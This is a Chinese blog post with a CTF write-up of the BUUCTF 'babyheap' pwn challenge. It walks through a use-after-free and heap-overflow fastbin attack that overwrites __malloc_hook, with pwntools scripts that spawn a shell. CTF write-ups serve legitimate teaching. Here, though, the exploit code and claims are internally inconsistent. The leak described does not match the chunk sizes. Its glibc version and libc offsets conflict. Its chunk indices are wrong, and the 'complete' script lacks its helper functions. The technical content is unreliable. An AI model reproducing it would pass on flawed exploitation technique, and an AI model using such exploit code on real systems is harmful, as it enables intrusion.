BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)
📅 2026/7/25 19:29:27
👁️ 阅读次数
📝 编程学习
BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)
前言:堆漏洞与CTF实战在CTF(Capture The Flag)比赛中,PWN类题目常常考察选手对二进制漏洞的深入理解,其中堆相关漏洞是高频考点。BUUCTF上的babyheap是一道经典的堆溢出题目,涉及Fastbin Attack、UAF(Use-After-Free)等核心技巧。本文将从原理出发,逐步剖析漏洞利用的完整过程,并附带可运行的代码示例,帮助读者掌握堆漏洞利用的基本思路。## 题目分析:漏洞定位与程序结构首先,我们需要通过逆向工程(如使用IDA Pro或Ghidra)分析程序的二进制文件。babyheap通常是一个菜单驱动的堆管理程序,提供以下功能:-allocate(size):分配指定大小的堆块-fill(index, content):向已分配的堆块写入数据-free(index):释放堆块-dump(index):打印堆块内容通过分析,我们可以发现以下关键点:1.堆块大小限制:分配的大小通常在0x18到0x68之间,意味着所有堆块都会进入Fastbin(大小小于0x80)。2.UAF漏洞:在free函数中,程序没有将指针置NULL,导致释放后仍能通过dump和fill操作访问堆块。3.堆溢出:fill函数在写入数据时未严格检查长度,导致可以溢出到相邻堆块。### UAF漏洞原理UAF漏洞的核心在于:程序释放堆块后,对应的指针仍然存在且未被清空。攻击者可以通过这个指针继续操作堆块,而该堆块可能已经被重新分配,从而造成信息泄露或控制流劫持。## 利用思路:从信息泄露到控制流### 1. 泄露libc地址由于ASLR(地址空间布局随机化)的存在,我们需要先泄露libc的基地址。通常利用Unsorted Bin来获取libc地址:当我们释放一个大小不在Fastbin范围内的堆块时,它会进入Unsorted Bin,其fd和bk指针会指向main_arena中的偏移量。通过UAF漏洞读取这些指针,即可计算libc基地址。### 2. 修改__free_hook或__malloc_hook在libc中,__free_hook和__malloc_hook是用于调试的函数指针。如果我们能修改它们为system函数的地址,当程序调用free或malloc时就会执行system("/bin/sh"),从而获得shell。### 3. Fastbin Attack由于堆块大小受限,我们需要利用Fastbin的单链表机制进行攻击。具体步骤:- 分配多个相同大小的堆块,释放其中两个,使Fastbin的链表结构可控。- 通过堆溢出修改某个已释放堆块的fd指针,使其指向伪造的堆块(例如__malloc_hook附近的地址)。- 再次分配堆块时,程序会从Fastbin中取出我们伪造的堆块,从而在目标地址写入数据。## 实战步骤与代码示例### 环境准备- 操作系统:Ubuntu 18.04(glibc 2.27)- 工具:pwntools, gdb### 步骤1:信息泄露首先,我们需要泄露堆地址和libc地址。以下代码展示了如何利用UAF读取堆块内容:pythonfrom pwn import *context.log_level = 'debug'p = process('./babyheap')elf = ELF('./babyheap')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size): p.sendlineafter(b'>> ', b'1') p.sendlineafter(b'Size: ', str(size).encode())def fill(index, content): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b'Index: ', str(index).encode()) p.sendafter(b'Content: ', content)def free(index): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b'Index: ', str(index).encode())def dump(index): p.sendlineafter(b'>> ', b'4') p.sendlineafter(b'Index: ', str(index).encode()) return p.recvline()# 分配堆块allocate(0x68) # chunk0allocate(0x68) # chunk1, 用于隔离allocate(0x68) # chunk2# 释放chunk0,使其进入Fastbinfree(0)# 通过UAF读取chunk0的fd指针(指向chunk2)leak = dump(0)heap_addr = u64(leak[:6].ljust(8, b'\x00'))log.info(f"Heap leak: {hex(heap_addr)}")### 步骤2:利用堆溢出修改Fastbin指针接下来,我们利用fill函数的溢出能力,修改已释放堆块的fd指针,使其指向__malloc_hook附近的地址。这里需要计算偏移量:python# 分配一个新的堆块,用于溢出allocate(0x18) # chunk3allocate(0x18) # chunk4allocate(0x18) # chunk5# 释放chunk3和chunk4,形成Fastbin链表: chunk3 -> chunk4free(3)free(4)# 利用fill函数溢出chunk3,修改其fd指针# 目标:将fd指向__malloc_hook - 0x23 处的伪堆块libc.address = 0x7ffff7dd4b00 # 假设通过泄露得到target_addr = libc.sym['__malloc_hook'] - 0x23# 构造payload: 填充数据 + 伪造的fdpayload = b'A' * 0x18 # 填充chunk3的data区域payload += p64(0x21) # 伪造下一个堆块的sizepayload += p64(target_addr) # 修改fd指针fill(4, payload) # 注意:这里fill的是chunk4,但溢出到了chunk3的fd### 步骤3:获取shell最后,我们通过多次分配,最终在__malloc_hook处写入one_gadget地址,触发shell:python# 从Fastbin中取出两个堆块allocate(0x18) # chunk6, 从Fastbin取出原chunk4allocate(0x18) # chunk7, 从Fastbin取出原chunk3# 第三次分配时,会从伪造的地址取出堆块# 此时,我们写入one_gadgetone_gadget = 0x4f2c5 # 根据glibc版本确定payload = b'A' * (0x23 - 0x10) # 填充到__malloc_hookpayload += p64(one_gadget)fill(7, payload)# 触发malloc,执行one_gadgetallocate(0x18) # 触发shellp.interactive()## 完整利用代码以下是一个完整的利用脚本,整合了上述步骤:pythonfrom pwn import *context.log_level = 'info'def exploit(): p = process('./babyheap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 分配堆块,用于泄露 allocate(0x68) allocate(0x68) allocate(0x68) # 释放并泄露heap地址 free(0) heap_leak = dump(0) heap_addr = u64(heap_leak[:6].ljust(8, b'\x00')) log.success(f"Heap address: {hex(heap_addr)}") # 释放chunk1(chunk1在chunk0之前释放,形成链表) free(1) # 通过UAF读取chunk1的fd,泄露libc地址 libc_leak = dump(1) libc_addr = u64(libc_leak[:6].ljust(8, b'\x00')) libc.address = libc_addr - 0x3c4b78 # 根据实际偏移调整 log.success(f"Libc base: {hex(libc.address)}") # 堆溢出修改fd allocate(0x18) allocate(0x18) free(3) free(4) target = libc.sym['__malloc_hook'] - 0x23 payload = b'A' * 0x18 + p64(0x21) + p64(target) fill(4, payload) # 分配两次,写入one_gadget allocate(0x18) allocate(0x18) one_gadget = libc.address + 0x4f2c5 payload = b'A' * (0x23 - 0x10) + p64(one_gadget) fill(7, payload) # 触发 allocate(0x18) p.interactive()if __name__ == '__main__': exploit()## 总结本文通过BUUCTF的babyheap题目,详细演示了堆漏洞利用的完整流程:从漏洞发现(UAF和堆溢出)到信息泄露(利用Unsorted Bin),再到控制流劫持(Fastbin Attack修改__malloc_hook)。核心要点包括:1.理解Fastbin机制:Fastbin是单链表结构,释放的堆块按大小分类,且fd指针指向下一个空闲块。2.利用UAF进行信息泄露:释放后不清空指针是常见漏洞,可用来读取内核数据结构。3.堆溢出修改链表:通过覆盖相邻堆块的元数据,可以伪造Fastbin链表,实现任意地址分配。实际CTF比赛中,堆漏洞的利用需要结合具体环境(如glibc版本、保护机制等)进行调整。建议读者在本地搭建调试环境,逐步验证每个步骤,加深对堆管理器的理解。掌握这些基础技巧后,面对更复杂的堆利用题目(如House of系列)将更加得心应手。
编程学习
技术分享
实战经验